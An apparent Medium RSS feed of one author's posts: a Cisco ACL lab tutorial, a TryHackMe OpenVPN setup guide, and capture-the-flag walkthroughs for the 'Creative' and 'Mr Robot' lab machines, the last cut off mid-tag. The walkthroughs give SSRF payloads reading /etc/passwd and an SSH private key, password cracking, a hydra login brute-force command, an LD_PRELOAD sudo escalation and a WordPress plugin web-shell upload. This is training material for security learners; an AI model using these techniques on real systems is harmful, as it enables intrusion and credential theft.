<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Prateek Sharma on Medium]]></title>
        <description><![CDATA[Stories by Prateek Sharma on Medium]]></description>
        <link>https://medium.com/@prateeksunilsharma?source=rss-fb87c34b5260------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*EkA8Mqvac-uXFDUt</url>
            <title>Stories by Prateek Sharma on Medium</title>
            <link>https://medium.com/@prateeksunilsharma?source=rss-fb87c34b5260------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 04:45:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@prateeksunilsharma/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Access control list — ACL || Cisco]]></title>
            <link>https://medium.com/@prateeksunilsharma/access-control-list-acl-cisco-9cf2ac7aa5bf?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/9cf2ac7aa5bf</guid>
            <category><![CDATA[cisco]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[access-control-list]]></category>
            <category><![CDATA[eve-ng-lab]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Tue, 15 Jul 2025 18:59:24 GMT</pubDate>
            <atom:updated>2025-07-15T18:59:24.597Z</atom:updated>
            <content:encoded><![CDATA[<h3>Access control list — ACL || Cisco</h3><p>Good evening, today I have one basic topic related to network security i.e. access control list. We will see what, why and how ACL — Access control list is used in network on Cisco devices.</p><p>ACL is a feature that allows admin to allow or restrict a host, network or port no (service) to communicate in same or different network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*XvLAAG76SwmVyWtp5p597g.png" /></figure><p>Type of ACL: -</p><ol><li>Standard</li><li>Extended</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*ppKF7bUM8uchXe8yrHE21w.png" /></figure><p>Difference between Named and Numbered ACL is that both are ways of configuring ACL on a router, difference is how the identity of ACL is defined, if an ACL is configured with Numbers E.g. 1–99 it is known as Numbered ACL and if an ACL is configured with Name or keywords E.g. INTERNAL or ICMP-ACCESS it is known as Named ACL.</p><p>Both Standard and Extended ACL supports Named and Numbered ACL.</p><p>Numbered Standard ACL E.g.: —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*p6zzrgT8SiS7sd5eBpIOMA.png" /></figure><p>Named Standard ACL E.g.: —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*c1lTsw7veZWYk4wHwNw7FA.png" /></figure><p>Numbered Extended ACL E.g.: -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*Ykfu8qA5ZYkUNDwP9FUuVA.png" /></figure><p>Named Extended ACL E.g.: -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*ajVFVP_lNCxATGlI4HSV4Q.png" /></figure><p>We are using cisco router images in EVE-NG for this practical, we have used static routing, see the network diagram for reference: —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*nEZTBSoyteyv3B2ThBHMKg.png" /></figure><ol><li>Standard ACL: -</li></ol><p>Source 1— 10.10.10.2/24</p><p>source 2–192.168.1.1/24</p><p>Destination — 20.20.20.2/24</p><p>Deny traffic from source 1 and allow traffic from source 2</p><p>We have used static route for communication, and we have reachability from source 1 and source 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*tAZAisTj_yIoZV1uDct4AQ.png" /><figcaption>ping from source 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*m4OAI4xWkZBwd2LZY3bZXA.png" /><figcaption>ping from source 2</figcaption></figure><p>Mentioning static route configuration for both routers, reference below: -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*iBkLBFepvME8NbKEAmej1g.png" /><figcaption>static route from R1 to R2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/543/1*czwA0DMWML4k1jZ3OvPO0g.png" /><figcaption>static route from R2 to R1</figcaption></figure><p>Creating and applying Standard ACL on R2, since this is Standard ACL so it will be applied close to destination, with “ip access-list” we are declaring to use Named ACL, next in the statement we will specify type of ACL we are about to use <strong>“Standard”</strong> we are using STANDARD ACL, next we are giving the name or number and we used “<strong>ACL-STD”., </strong>next we need to give statements like mentioned above we need to deny traffic from source 1 and allow traffic from source 2, after you finish the statements last you will always have to define a permit statement for any source</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*tKIWSVj-rjFKEciBo_LhYg.png" /><figcaption>Created Standard ACL on R2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*bDmcQpiJ0Zq_DFG0jm1I2w.png" /><figcaption>Applying Standard ACL to interface f0/0 of R2</figcaption></figure><p>While applying ACL to interface two points need to be defined Name of ACL and packet flow direction inbound or outbound, <strong>“in”</strong> is inbound packet in this statement, so we are instructing that any packet that comes inside R2 from interface f0/0 will have to go through this Standard ACL (ACL-STD).</p><p>Note: - Without applying ACL to interface it won’t work</p><p>2. Extended ACL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*PmtypcZCzd7QZMwhNRnhiw.png" /><figcaption>using same diagram as used above</figcaption></figure><p>Source 1–10.10.10.2/24</p><p>Source 2–192.168.1.1/24</p><p>Destination — 20.20.20.2/24</p><p>Deny traffic from source 1 and allow traffic from source 2</p><p>Since we are practicing ACL Extended, it should be applied near to Source, so we will apply and create ACL on R1 this time.</p><p><strong>ip access-list extended ACL-EXT<br>deny icmp 10.10.10.2 0.0.0.0 20.20.20.2 0.0.0.0 echo<br>permit icmp host 192.168.1.1 host 20.20.20.2 echo<br>deny icmp any any echo</strong></p><p>Now after ACL is created, apply it to interface</p><p><strong>R1(config)#int f1/0<br>R1(config-if)#ip access-group ACL-EXT out</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K8YdWCy2qxyG5NlGhWCKMA.png" /><figcaption>Ping response for source 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*4UwLkpylh78nyGSxrXZE-g.png" /><figcaption>Ping response for source 2</figcaption></figure><p>ACL is working, let’s do some experiment, lets create two loopbacks on R2 and we will deny one loopback (100.0.0.1) and allow one loopback (101.0.0.1) from source R1 10.10.10.2</p><p>Deny icmp for destination 100.0.0.1 &gt; source 10.10.10.2, Allow destination 101.0.0.1 &gt; source 10.10.10.2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1003/1*xUXCz7xy9zAt96rgZqHqBw.png" /><figcaption>using static route for loopbacks routing on R1</figcaption></figure><p>Now after routing we are able to reach loopbacks from source computer but since ACL is blocking it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wSEceNmx6-C6zyzs4rY0Cg.png" /></figure><p>Next, we will use extended ACL on R1 for our experiment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*e1353gweglTVQj8IX1Y-kQ.png" /><figcaption>Output for ACL after add statement for loopbacks</figcaption></figure><p>We can see that new statement we added in ACL are added after “deny any any” statement</p><p>Traffic will be denied for 101.0.0.1 since statement is below deny any statement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7AsCG4xLz2v2uAr-lmWzEA.png" /></figure><p>Now with command <strong>“sh ip access-lists” </strong>we will be able to see all the access-lists configured on router, we also be able to see sequence number of statements on ACL, by default each statement in ACL is with gap of 10, we saw deny any statement is at sequence number 40 so we need to add our statements above sequence number 40, so if we have added similar statements with sequence number below 40 without removing statement at 50 and 60, it will not accept.</p><p>So, we need to remove existing statements first on 50 and 60 sequence number, then add same statements with sequence number less than 40.</p><p>We have used 25 and 30 sequence numbers.</p><p>Let’s see is it working or not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dF7i8C0Pc7001AlA1o68BA.png" /></figure><p>We can see now we are able to ping 101.0.0.1, so our ACL is working.</p><p>Hope you are able to figure out what, why and how ACL works. if you like it please give a thumbs up.</p><p>Thanks for reading till the end, any feedback will be appreciated.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9cf2ac7aa5bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creative | TryHackMe | Penetration Testing solution by Prateek Sharma]]></title>
            <link>https://medium.com/@prateeksunilsharma/creative-tryhackme-penetration-testing-solution-by-prateek-sharma-50e85a852c85?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/50e85a852c85</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[creative]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Sat, 08 Jun 2024 10:45:52 GMT</pubDate>
            <atom:updated>2024-06-08T10:45:52.132Z</atom:updated>
            <content:encoded><![CDATA[<p>Link for the machine — <a href="https://tryhackme.com/r/room/creative">https://tryhackme.com/r/room/creative</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ghh0fddM3ompM1-uRR12UQ.png" /><figcaption>screenshot of creative machine from tryhackme website</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCwXUFlMQmPdqugc3PyEng.png" /><figcaption>online vpn connection options offered by TryHackMe</figcaption></figure><p>Three methods to connect your machine (attacker) to TryHackMe network, two methods can be found on TryHackMe website, Attack Box and web-based Kali Linux and third method is via openvpn, to see how to connect to TryHackMe network through openvpn check the given link: — <a href="https://medium.com/@prateeksunilsharma/how-to-connect-through-openvpn-to-tryhackme-network-be159fa30474">How to connect through openvpn to TryHackMe network | by Prateek Sharma | Jun, 2024 | Medium</a></p><p>click on “start machine” button to boot the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*--Pr2Iq4mWh7NVX9Q41asg.png" /></figure><p>and connect to openvpn or other two methods (Attack Box and web-based Kali Linux) of connecting to TryHackMe network, in my case I am using openvpn on Kali Linux running over VMware. After connecting to openvpn we can see ip address by command<strong> ifconfig </strong>for interface tun0 i.e. tunnel interface. attaching screenshot for reference below: —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*pb5f1xOkV2nInaYS9wTK_g.png" /></figure><p>Now let’s proceed further, ip address for creative machine will be visible after 1 min of boot start time in the target machine information section, check screenshot for reference below: -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OxpW1uWzDF6EDBLKP-rpRQ.png" /></figure><p>NOTE — sometimes it takes nearly 2 min for TryHackMe machine to boot up properly</p><p>now note this ip address and let’s begin enumeration, firstly we will use nmap for port scanning</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qLn18Pl7nespJiVDJnUy1Q.png" /></figure><p>We found port 22 and port 80 as open ports, let’s try to use port 80. after entering ip address in browser it is resolving creative.thm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qQelmyvAdHNhIpFX2KHaWg.png" /></figure><p>next we need to add it as host in hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*JqQr3RRJXWEkDzkCkDcKBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*ONqjBxipGIV58qPvnQrdIw.png" /></figure><p>Next, we need to find more inside <a href="http://creative.thm,/">http://creative.thm,</a> let’s try nikto</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVqDA4VzhpBAA0tglk4hmA.png" /></figure><p>Nikto hasn’t provided anything useful, let’s try dirb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*qCKzJ4kaqqIXIdYhIDpcAA.png" /></figure><p>didn’t found anything useful from dirb, now let’s try extract subdomain I will use gobuster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VKmisjkX0LjH8sBXxxiH-w.png" /></figure><p>we found “<strong>beta.creative.thm</strong>” as subdomain for creative.thm</p><p>now we will have to add this to hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*JqQr3RRJXWEkDzkCkDcKBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*Vavpc4LAjW5jvQevHe03IA.png" /></figure><p>now let’s open beta.creative.thm in browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eHfQYuVAsvgKfUoaLptrKw.png" /></figure><p>trying to access “<strong>creative.thm”</strong> in beta url tester as local host</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w9HIhxS0ITSu1CK8k-QgWQ.png" /><figcaption>i/p as loopback for creative.thm</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_BM3aDys1h5cIwrRGnx64g.png" /><figcaption>o/p for creative.thm from beta url tester</figcaption></figure><p>Let’s try next with port no and to check other port no that are running http service that can’t be access from outside, we need to use burpsuite to check other port no</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_1bu8bhaj7d3U1z1Xft2AA.png" /></figure><p>enable proxy in browser, i am using foxyproxy standard as extension in firefox browser other way is to define proxy settings in network settings of firefox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7oiX7IPIA25qNN6RM7JZhw.png" /></figure><p>and next open burpsuite in Kali and turn on intercept</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RpsQ1CayOFkePu0R_Ufa5Q.png" /></figure><p>now click “<strong>submit”</strong> on beta url tester i.e.<strong> “http://creative.thm:80”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQjtdK4nb8thOHL_9i7PYg.png" /></figure><p>next click on action button and select send to intruder next, we highlight 80 in POST url and click on add and next we need to select payload, so click on payloads tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RdBj4dP27D7PRA2BWO4qXw.png" /></figure><p>so now we need numbers as payload, since I am using community version it will take time to go with numbers, hence we will use a list of top 50 ports to cut time, click on the given link to get list of 50 common ports <a href="https://www.geeksforgeeks.org/50-common-ports-you-should-know/">https://medium.com/r/?url=https%3A%2F%2Fwww.geeksforgeeks.org%2F50-common-ports-you-should-know%2F</a></p><p>I just typed top 50 port numbers on google and got to this page, just copy paste port numbers in file, I had already created that file, so I will select simple list option and load the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfkBgZuBpUAxuMvSHT9WJQ.png" /></figure><p>now everything is set, let’s begin the attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBDnZ70Aj7bs4Wnup7jcEQ.png" /></figure><p>here we found another port 1337, let’s go and enter it in beta url tester</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*LFJY6c57SKq_PGyw5zkwBA.png" /><figcaption>o/p of 127.0.0.1:1337</figcaption></figure><p>on running 127.0.0.1:1337 in beta url tester, this means we are able to access directory from port 1337, now let’s go back to nmap I remember we have one more port open i.e. port 22, so let’s try to get any username. Payload we are using will be <strong>127.0.0.1:1337/etc/passwd</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*znbsC1_UvirCpDZIHzyfCQ.png" /><figcaption>o/p from <strong>127.0.0.1:1337/etc/passwd</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*wx1ErEWkpIxpcNdhEjhs0w.png" /><figcaption>view page source o/p</figcaption></figure><p>We are able to find a user as “<strong>saad”, </strong>let&#39;s try to find ssh key for this username with command <strong>127.0.0.1:1337/home/saad/.ssh/id_rsa</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSVR9GYTGVmCOb2yEBizNg.png" /></figure><p>make a file and save this as ssh key and change its permission to rw by command “<strong>chmod 600 sshsaadkey”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kvFjYUY00vlhK6LQLSfCSg.png" /></figure><p>next we need to create a hash from ssh key which is required by John the ripper, command “<strong>ssh2john sshsaadkey &gt; johnfile”</strong></p><p>after this we need password which can be extracted by hash file, we will use John the ripper with command</p><p>“<strong>john — wordlist=/home/kali/rockyou.txt johnfile”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PCCCA6QrbB3QALEnFRiFaA.png" /></figure><p>now we have password for saad, so let&#39;s proceed for ssh login with saad username</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*NW20KzI0yJkK8uo0jAo-qg.png" /></figure><p>after this we need to verify current access by id command and found that we are normal user as saad, next let’s find user.txt file and we found it straight away by<strong> ls</strong> command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*ZAo1YmTkwYWPq8iYSaPJRQ.png" /></figure><p>now next target is to get root access, checking hidden files with command “<strong>ls -a” </strong>and found<strong> bash_history </strong>file, it is showing password for</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbGV19cxRdjUZ-O7dPeRbQ.png" /></figure><p>using sudo -l and enter the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ys1YHRmprSuPAZ1TJMoEAw.png" /></figure><p>ping can be run as root by user saad but with ping we can’t get root access, but we found env_keep+=LD_PRELOAD, if we set environment variable with malicious shell then we can use ping to escalate access, let’s try to search for it now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*Gz31SygQdQxBFfmLnCvW7Q.png" /></figure><p>on searching <strong>env_keep+=LD_PRELOAD</strong> found this solution on google, change directory to <strong>/tmp</strong> and copy-paste the given c program in a new .c extension file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_6J4tcTJJHixZIDFK2XCg.png" /></figure><p>next compile it and an .so extension file is created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QXL3Ox4e9vMHYUkKuMDbZQ.png" /></figure><p>now target has shell script let’s try to login as root we will use <strong>sudo ping </strong>with complied shell code with command <strong>sudo LD_PRELOAD=/tmp/shell.so ping</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Potkp8mMer1FUX-FyHSCOA.png" /></figure><p>after executing command, let’s verify access by id and now we are <strong>root, </strong>now let’s search for root.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KTIbRZY6KL21KQW_JUS0Rw.png" /></figure><p>and we found it in root directory. That’s all for this machine. Hope you like it, please provide your feedback.</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=50e85a852c85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to connect through openvpn to TryHackMe network]]></title>
            <link>https://medium.com/@prateeksunilsharma/how-to-connect-through-openvpn-to-tryhackme-network-be159fa30474?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/be159fa30474</guid>
            <category><![CDATA[openvpn]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Sat, 08 Jun 2024 10:41:22 GMT</pubDate>
            <atom:updated>2024-06-08T10:41:22.390Z</atom:updated>
            <content:encoded><![CDATA[<p>Create account on TryHackMe and login into account, after logging in click on the red icon (top right corner) and click on <strong>“access”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3XymVnCz2oKU2hfEAyOB-Q.png" /></figure><p>now to get openvpn access file from TryHackMe click on VPN Server and select from list of servers mentioned in drop down menu (always remember to select nearest geo location server) in my case I will select <strong>IN-regular-1 </strong>as I live in India, if someone lives in lives in New York they may choose <strong>US-East-Regular-1</strong>, if someone lives in California they may choose <strong>US-West-Regular-1</strong> and if someone lives in Australia they may choose <strong>AU-Regular-1</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ixOXIkYhc8V2d17zx4E-CA.png" /><figcaption>screenshot for reference to select VPN Server</figcaption></figure><p>after selecting VPN Server next click on <strong>Download configuration file</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nsXd9sQSfZsAMMRmNqJiw.png" /></figure><p>now check your downloads folder, openvpn configuration file will be named as your username @ TryHackMe and .ovpn extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*CiEj07Oms_Ybi6iW-LGAlw.png" /></figure><p>next we will run this file with openvpn command in Kali</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*pkZbXdOLz0I-4Z35VV4aWw.png" /><figcaption>i/p to establish vpn connection with TryHackMe network</figcaption></figure><p>after running this command if you are able to see <strong>initialization sequence completed </strong>in timestamp logs it is an indication that negotiation is done successfully, and your own machine has been allotted with an IP address which can be visible with command <strong>ifconfig.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-D5uBoxpgaqfop6f0FqNrQ.png" /></figure><blockquote>Remember never to close this terminal until you want to close the vpn connection</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKCO_qEPkLr1z_RJbrJ6GA.png" /></figure><p>normally vpn connection assign IP address to tunnel interface, in our case it is showing <strong>10.17.69.246</strong></p><p>now we have a connection with vpn but are we really connected to TryHackMe network? let&#39;s check it by going on access page again on TryHackMe website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7CrDxl3tLXhK4FA7rz1zw.png" /></figure><p>hereafter just clicking on refresh we can see that our tunnel IP address is showing on TryHackMe access page and connection is saying connected, so that is the method to connect via openvpn to TryHackMe network.</p><p>That’s it for this section, hope you like it</p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be159fa30474" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mr Robot | Vulnhub | Penetration testing solution by Prateek Sharma]]></title>
            <link>https://medium.com/@prateeksunilsharma/mr-robot-vulnhub-penetration-testing-solution-by-prateek-sharma-2fbca39f8c33?source=rss-fb87c34b5260------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fbca39f8c33</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mr-robot]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[wordpress-vulnerabilities]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Prateek Sharma]]></dc:creator>
            <pubDate>Tue, 04 Jun 2024 13:56:14 GMT</pubDate>
            <atom:updated>2024-06-04T13:56:14.650Z</atom:updated>
            <content:encoded><![CDATA[<p>You can get Mr Robot machine from vulnhub website, link provided below</p><p><a href="https://download.vulnhub.com/mrrobot/mrRobot.ova">https://download.vulnhub.com/mrrobot/mrRobot.ova</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-6npLQ7Bp-0XE44t1pvElw.png" /></figure><p>or you can also access this machine on TryHackMe.</p><p>Boot both machines Mr Robot and Kali, both machine’s network adaptor are on Bridge.</p><p>Let’s start</p><p>check IP address of Kali first by command with <strong>ifconfig</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*JfT24Sl7Twj9QaO5HDyZjA.png" /></figure><p>Now to check IP address of Mr Robot we will need to use “<strong>netdiscover</strong>” command on Linux terminal to scan IP address in subnet range.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*8Q-sQTVT_e3GL7C4FvPMCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*PZrdlerTJ2v61Yivyt0kNg.png" /></figure><p>Since we have target machine mounted on VMware that’s why we can understand that IP address <strong>192.168.1.4</strong> is Mr Robot Machine.</p><p>Next, we need to scan IP address <strong>192.168.1.4</strong> to check for open ports and Vulnerabilities, to perform this task we will need to run “<strong>nmap</strong>” on Terminal. Command used “<strong>nmap -sS -sV -O -T4 192.168.1.4”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*X9tv0CleBJnrHE4jGAcL4g.png" /></figure><p>Next, we need to run<strong> nikto</strong> scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4yXTLgfbnMtp-MW5VSXbWg.png" /></figure><p>Nikto scan is giving detail information about web server running on port 80.</p><p>Next, we need to use <strong>dirb</strong> for brute force to get additional information about web server directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*_fBqj-SnK1G8MTLnQ0sy9w.png" /></figure><p>Next, we will use <a href="http://192.168.1.4/robots/">http://192.168.1.4/robots/</a> for further use.</p><p>We need to paste this url in firefox browser of Attacker to access directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*1UojppbrwSFRq0BJusAN8g.png" /></figure><p>We need to check file “key-1-of-3.txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*DD8_QIBwQFBmV0KgWaeH8g.png" /></figure><p>We got first key or flag <strong>— 073403c8a58a1f80d943455fb30724b9</strong></p><p>Dirb result also shown wordpress installed on MrRobot Machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*C3lcFMpbLKIIBWBiaAQCSw.png" /></figure><p>Lets try to login into wordpress</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*KxK8QcWS_YEYSuvi8uVcJQ.png" /></figure><p>We tried to login with admin as username and password but we were not able to login into wordpress account. To get username we will try to use <strong>wpscan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*NxCYdiGEuUuDJ3ORipXnEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*ef1UB-Os-mCeymhZOzFWhA.png" /></figure><p>We didn’t got any help from wpscan, next to solve this we will need to bruteforce username and password and for that we have a file in robots directory named as <strong>fsocity.dic,</strong> hence we need to download this file as this file contains a lot of words and numbers which can be username and password, for that we will use burpsuite and hydra</p><p>First enable proxy settings on firefox browser: -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*61minbHAwsQResEZtJfuxA.png" /></figure><p>Now start burpsuite and put intercept off, lets enter some username and password on wp portal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*qtALDMi-t5zHIZ9cTvURyg.png" /></figure><p>This request of http will be visible on burpsuite, we need to check http data there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*z-Hpa-0V9ezPA3ahVIMKkw.png" /></figure><p>We will use hydra to check for username and password, will use command <strong>hydra -L fsocity.dic -p password 192.168.1.4 http-post-form ‘/wp-login.php:log=^USER^&amp;pwd=^PASS^&amp;wp-submit=Log+In:F=Invalid username’</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*OMCt7RzojUrgolfUJ1ou-w.png" /></figure><p>By the help of hydra we are able to identify username i.e. Elliot or elliot, lets try this username on wordpress portal to check whether it is correct of not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*k0I7E9SDSvUWY8GYKVxSbQ.png" /></figure><p>This means Elliot is a correct username, now we have username and need to find correct password, we will use wp scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*38xd3p7jl6sWKj8ydz3wuA.png" /></figure><p>However we have used another command to compress and organise wordlist “<strong>cat fsocity.dic | sort | uniq &gt; mrr.dic”</strong> and we got this organised sheet with only 22 uniq entries in wordlist and the same</p><p>file name we have used here in wpscan command “<strong>wpscan — url </strong><a href="http://192.168.1.4/"><strong>http://192.168.1.4</strong></a><strong> -P /home/kali/Desktop/mrr.dic — usernames Elliot”</strong></p><p>After bruteforcing we have got the password of login id Elliot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*IPEjMEjqYYmzr6yEN0g3Sw.png" /></figure><p>Let’s try to login with username=<strong> Elliot</strong> and password= <strong>ER28–0652</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*uPpid0iaQw3Ij-llOwLt8A.png" /></figure><p>We are able to login into wp account now, let’s check access for user on users&#39; button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*BANnJG8aDXsMM82i-cERTA.png" /></figure><p>We have administrative right hence we can add/ remove any file from account we will try to add a plugin and to do that we need a shell and we will create it by msfvenom</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Sw1PGQGUSoshZtfIDo3xWQ.png" /></figure><p>Next is to upload this shell file in wp plugin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_CwQ4q8p2s43TDtJfRe5Ag.png" /></figure><p>Install the plugin now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*20zQo9zuix8hl3Lz6ieSZA.png" /></figure><p>Next, we will have to see the url of uploaded shell in wordpress account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*DsbQRpNfzmTFFudiik_48g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*c6aWrNwadK4XkUGYvuxHwg.png" /></figure><p>This is the url of shell.php file &gt; <a 